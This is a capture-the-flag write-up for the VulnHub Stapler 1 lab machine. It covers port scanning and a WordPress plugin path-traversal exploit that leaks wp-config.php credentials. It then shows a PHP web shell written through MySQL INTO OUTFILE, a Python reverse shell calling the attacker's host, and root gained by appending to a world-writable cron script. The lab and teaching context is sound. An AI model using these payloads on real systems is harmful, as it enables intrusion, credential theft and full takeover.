Stapler 1 is a machine from the people at VulnHub. Their aim is to provide materials that allow anyone to gain practical ‘hands-on’ experience in digital security, computer software & network administration.

110% of credit for the Stapler 1 machine to g0tm1lk and crew.

Let’s begin, shall we?

The attack

I find the host’s IP in my ARP cache, and then point nmap at it.

root@kali:~# nmap -p- 192.168.128.132

Starting Nmap 7.60 ( https://nmap.org ) at 2017-06-05 13:43 CDT
Nmap scan report for 192.168.128.132
Host is up (0.00071s latency).
Not shown: 4988 filtered ports
PORT      STATE  SERVICE
20/tcp    closed ftp-data
21/tcp    open   ftp
22/tcp    open   ssh
53/tcp    open   domain
80/tcp    open   http
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn
666/tcp   open   doom
3306/tcp  open   mysql
12380/tcp open   unknown
MAC Address: 00:0C:29:CB:0D:1A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 714.92 seconds

A probe of the service on port 12380 turns up a webserver.

root@kali:~# nmap -sV -p 12380 --reason 192.168.128.132

Starting Nmap 7.60 ( https://nmap.org ) at 2017-06-05 14:04 CDT
Nmap scan report for 192.168.128.132
Host is up, received arp-response (0.00062s latency).

PORT      STATE SERVICE REASON         VERSION
12380/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:CB:0D:1A (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.95 seconds

I run nikto which turns up number of interesting items.

root@kali:~# nikto -host 192.168.128.131 -port 12380

The site is serving both http and https. Let’s peek at robots.txt:

root@kali:~# curl https://192.168.128.132:12380/robots.txt -k
User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

It turns out that the site is running WordPress, so I throw wpscan at it:

root@kali:~# wpscan --url https://192.168.128.132:12380/blogblog/ --disable-tls-checks 

It discovers a few vulnerabilities including a plugin. The “Advanced File Embed” plug-in contains an exploitable vulnerability.

The vulnerability

The actual vulnerable function within the code itself is here:

<?php
function ave_publishPost(){
	$title = $_REQUEST['title'];
	$term = $_REQUEST['term'];
	$thumb = $_REQUEST['thumb'];
[...]
	$image_data = file_get_contents($thumb);
?>

Why is it vulnerable?

It passes unsanitized user input to the file_get_contents() function. Because it creates an image file using a path specified by the user, a malicious user may trick the application into retrieving sensitive files.

The vulnerability could be fixed by updating the plug-in or patching the code.

Compromising the system

Here is a public proof of concept for the exploit:

root@kali:~# curl http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

The public exploit requires a bit of tweaking to work in the environment, but I am ultimately able to snatch the WordPress configuration file containing the MySQL root password.

root@kali:~# wget 'https://192.168.128.132:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../../../../../var/www/https/blogblog/wp-config.php' --no-check-certificate 

This saves a .jpeg to the /wp-content/uploads directory containing the file.

I wget the “jpeg” and cat the contents to find the credentials:

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

With the MySQL password in hand, I authenticate to the victim machine:

root@kali:~# mysql -u root -h 192.168.128.132 -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

I use a MySQL statement to write a backdoor in the exposed WordPress directory.

mysql> SELECT '<?php echo shell_exec($_GET[\'cmd\'])\;?>' INTO OUTFILE "/var/www/https/blogblog/wp-content/uploads/shell.php";
Query OK, 1 row affected (0.00 sec)

mysql> 

Now, I use this backdoor to have the operating system send me a command shell.

The host’s version of nc doesn’t want to work with the ‘-e’ flag, so I use python.

root@kali:~# curl https://192.168.128.132/path/to/backdoor.php?cmd=python%20-c%20'import

For clarity here is the python code I am injecting:

import os
import socket
import subprocess

host = '192.168.128.130'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p = subprocess.call(["/bin/bash", "-i"])

It opens a socket home, feeds in a bash shell, and replicates the io between.

I catch the reverse shell with ncat:

root@kali:~# ncat -lp 80
Connection from 192.168.128.131
whoami
www-data

Now to get root!

Getting root

I search the filesystem for files owned by root to which I can write:

www-data@red:/$ find -xdev -user root -type f -writable -exec ls -l {} \; 2>/dev/null
-rwxrwxrwx 1 root root 51 Jun  3  2016 ./usr/local/sbin/cron-logrotate.sh

This is an empty cron script that will run with root privileges every 5 minutes.


www-data@red:/$ cat /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
#Simon, you really need to-do something about this

It is misconfigured to allow any user to modify it!

I create a python reverse shell file in /tmp

cd /tmp
www-data@red:/$ echo 'import os;import socket;import subprocess;host='192.168.128.130';port=80;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash", "-i"]);' > /tmp/revsh.py

And then append a call to the script to the vulnerable cron file:

www-data@red:/$ echo 'python /tmp/revsh.py' >> /usr/local/sbin/cron-logrotate.sh

Once the cron job is called, my payload is run as root, and I get a shell :)

root@kali:~# nc -lp 80
bash: cannot set terminal process group (4427): Inappropriate ioctl for device
bash: no job control in this shell
root@red:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@red:~# cat /root/flag.txt
cat /root/flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

root@red:~# 

I should point out there are actually multiple ways to root this one. I simply chose one of the many. I encourage you to go look at some of the others.

Until next time,

EOF